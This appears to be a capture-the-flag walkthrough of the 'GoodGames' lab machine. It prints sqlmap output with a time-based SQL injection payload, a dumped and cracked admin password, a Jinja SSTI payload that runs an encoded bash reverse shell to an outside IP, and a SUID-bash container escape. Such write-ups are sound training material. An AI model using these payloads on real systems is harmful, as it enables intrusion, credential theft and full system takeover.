GoodGames
GoodGames is an Easy linux machine that showcases the importance of sanitising user inputs in web applications to prevent SQL injection attacks, using strong hashing algorithms in database structures to prevent the extraction and cracking of passwords from a compromised database, along with the dangers of password re-use. It also highlights the dangers of using render_template_string
in a Python web application where user input is reflected, allowing Server Side Template Injection (SSTI) attacks. Privilege escalation involves docker hosts enumeration and shows how having admin privileges in a container and a low privilege user on the host machine can be dangerous, allowing attackers to escalate privileges to compromise the system.
Enumeration
Nmap search showed port 80 is open
└──╼ $nmap -p- -v -r -T5 goodgames.htb | grep open
Discovered open port 80/tcp on 10.10.11.130
Enumerated everything as I could but in the end official walk through hinted the site is vulnerable to SQL Injection. So I turned on burp suite and tried to login
Then I captured the request and stored it to goodgames.req file for sqlman
I used sqlmap with -r flag to use captured request for enumeration. This was vulnerable to time based SQL injection attack. Below command showed that there are 2 databases - information_schema
and main
.
┌─[hexadivine@parrot]─[~]
└──╼ $sqlmap -r goodgames.req --dbs --batch
___
__H__
___ ___[)]_____ ___ ___ {1.8.12#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:40:00 /2025-02-01/
[21:40:00] [INFO] parsing HTTP request from 'goodgames.req'
[21:40:00] [INFO] testing connection to the target URL
[21:40:00] [INFO] testing if the target URL content is stable
[21:40:01] [INFO] target URL content is stable
[21:40:01] [INFO] testing if POST parameter 'email' is dynamic
[21:40:04] [WARNING] POST parameter 'email' does not appear to be dynamic
[21:40:05] [WARNING] heuristic (basic) test shows that POST parameter 'email' might not be injectable
[21:40:05] [INFO] testing for SQL injection on POST parameter 'email'
[21:40:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:40:08] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:40:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:40:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:40:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[21:40:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[21:40:16] [INFO] testing 'Generic inline queries'
[21:40:17] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[21:40:17] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[21:40:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[21:40:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[21:40:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:40:33] [INFO] POST parameter 'email' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[21:40:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:40:33] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:40:35] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:40:36] [INFO] target URL appears to have 4 columns in query
got a refresh intent (redirect like response common to login pages) to '/profile'. Do you want to apply it from now on? [Y/n] Y
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[21:41:01] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[21:41:07] [INFO] target URL appears to be UNION injectable with 4 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[21:41:32] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 148 HTTP(s) requests:
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=a@a.a' AND (SELECT 3715 FROM (SELECT(SLEEP(5)))HPOK) AND 'KVRv'='KVRv&password=a
---
[21:41:49] [INFO] the back-end DBMS is MySQL
[21:41:49] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
[21:41:51] [INFO] fetching database names
[21:41:51] [INFO] fetching number of databases
[21:41:51] [INFO] retrieved: 2
[21:42:04] [INFO] retrieved: information_schema
[21:48:27] [INFO] retrieved: main
available databases [2]:
[*] information_schema
[*] main
[21:49:59] [INFO] fetched data logged to text files under '/home/hexadivine/.local/share/sqlmap/output/goodgames.htb'
[*] ending @ 21:49:59 /2025-02-01/
I chose the main
database and enumerated to list tables. It listed user
, blog
, blog_commennts
tables.
┌─[hexadivine@parrot]─[~]
└──╼ $sqlmap -r goodgames.req -D main --tables
___
__H__
___ ___[(]_____ ___ ___ {1.8.12#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:50:40 /2025-02-01/
[21:50:40] [INFO] parsing HTTP request from 'goodgames.req'
[21:50:40] [INFO] resuming back-end DBMS 'mysql'
[21:50:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=a@a.a' AND (SELECT 3715 FROM (SELECT(SLEEP(5)))HPOK) AND 'KVRv'='KVRv&password=a
---
[21:50:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[21:50:41] [INFO] fetching tables for database: 'main'
[21:50:41] [INFO] fetching number of tables for database 'main'
[21:50:41] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[21:50:55] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[21:50:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
3
[21:51:13] [INFO] retrieved: blog
[21:52:35] [INFO] retrieved: blog_comments
[21:56:00] [INFO] retrieved: user
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
[21:57:11] [INFO] fetched data logged to text files under '/home/hexadivine/.local/share/sqlmap/output/goodgames.htb'
[*] ending @ 21:57:11 /2025-02-01/
Lastly I chose user
table and dumped it. This gave the admin email - admin@goodgames.htb
and password hash - 2b22337f218b2d82dfc3b6f77e7cb8ec
┌─[hexadivine@parrot]─[~]
└──╼ $sqlmap -r goodgames.req -D main -T user --dump
___
__H__
___ ___[)]_____ ___ ___ {1.8.12#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:57:34 /2025-02-01/
[21:57:34] [INFO] parsing HTTP request from 'goodgames.req'
[21:57:34] [INFO] resuming back-end DBMS 'mysql'
[21:57:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=a@a.a' AND (SELECT 3715 FROM (SELECT(SLEEP(5)))HPOK) AND 'KVRv'='KVRv&password=a
---
[21:57:35] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[21:57:35] [INFO] fetching columns for table 'user' in database 'main'
[21:57:35] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[21:57:53] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
4
[21:57:55] [INFO] retrieved:
[21:58:05] [INFO] adjusting time delay to 2 seconds due to good response times
email
[21:58:39] [INFO] retrieved: id
[21:58:57] [INFO] retrieved: name
[21:59:29] [INFO] retrieved: pas
[22:00:17] [ERROR] invalid character detected. retrying..
[22:00:17] [WARNING] increasing time delay to 3 seconds
sword
[22:01:19] [INFO] fetching entries for table 'user' in database 'main'
[22:01:19] [INFO] fetching number of entries for table 'user' in database 'main'
[22:01:19] [INFO] retrieved: 1
[22:01:34] [ERROR] invalid character detected. retrying..
[22:01:34] [WARNING] increasing time delay to 4 seconds
[22:01:35] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
admin
[22:02:44] [INFO] retrieved: admin@goodgames.htb
[22:07:33] [INFO] retrieved: 1
[22:07:43] [INFO] retrieved:
[22:08:07] [ERROR] invalid character detected. retrying..
[22:08:07] [WARNING] increasing time delay to 5 seconds
2b223
[22:09:32] [ERROR] invalid character detected. retrying..
[22:09:32] [WARNING] increasing time delay to 6 seconds
37f218b2d82dfc3b6
[22:15:44] [ERROR] invalid character detected. retrying..
[22:15:44] [WARNING] increasing time delay to 7 seconds
f77e7cb8ec
[22:19:58] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: main
Table: user
[1 entry]
+----+---------------------+--------+----------------------------------+
| id | email | name | password |
+----+---------------------+--------+----------------------------------+
| 1 | admin@goodgames.htb | admin | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+---------------------+--------+----------------------------------+
[22:31:41] [INFO] table 'main.`user`' dumped to CSV file '/home/hexadivine/.local/share/sqlmap/output/goodgames.htb/dump/main/user.csv'
[22:31:41] [INFO] fetched data logged to text files under '/home/hexadivine/.local/share/sqlmap/output/goodgames.htb'
[*] ending @ 22:31:41 /2025-02-01/
Moving forward I cracked the password using https://crackstation.net/ and found out the password is superadministrator
.
I used that email and password to signin to goodgames.htb.
I saw a new gear icon and clicked on it.
This redirected to http://internal-administration.goodgames.htb/ so I added it to /etc/hosts
file.
After enumerating various passwords I found that the default username is admin
and password is superadministrator
which was reused from goodgames.htb admin login.
Explored the website and found only available links are settings, profile that followed the same page.
Exploitation
After inserting various payloads I found out that it is vulnerable to SSTI and using Jinja templetes. As you can see {{7*7}}
gave 49
this shows that it executed that input.
After knowing the site is vulnerable to SSTI I proceed to create standard RCE payload. Here ${IFS}
i.e. Internal Field Separator is used instead of spaces.
{{config.__class__.from_envvar.__globals__.import_string("os").popen("echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNC8xMzM3IDA+JjEK${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash").read()}}
Started the nc
to listen on port 1337 and all which gave the shell access.
└──╼ $nc -nlvp 1337
listening on [any] 1337 ...
After inserting the payload I clicked on Save all
button.
This gave the Reverse shell to the application
└──╼ $nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.11.130] 48448
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# ls
ls
Dockerfile
project
requirements.txt
With this I was able to get the user flag.
Privilege Escalation
The Dockerfile
file suggest that we are inside docker container.
To confirm this we can go to /home/augustus
and execute ls -la
. This showed 1000
id for the user augustus instead of the actual username.
After some enumeration and hints I learned that the ssh connection is possible to ip 172.19.0.2
with username augustus and same password superadministrator
Once logged in to augustus user via ssh we can see that same files are showed as the previous on docker root user this suggests that the augustus's home folder is mounted on this docker container. This can be exploited as all the files are shared.
In short the idea is -
- Copy the augustus's bash binary to home folder and exit from augustus's ssh and go to docker container.
- We can see the augustus's bash file there. Change the owner to root as we are root on this container using
chown root:root <file>
command and set SUID bit usingchmod +s <file>
- Go back to augustus's ssh
- We can see the the bash binary is owned by root and has SUID bit set in augustus's shell
We can execute this file as root as the SUID bit is set. With -p
flag we can escalate to root user.
With the root access we can capture the root flag.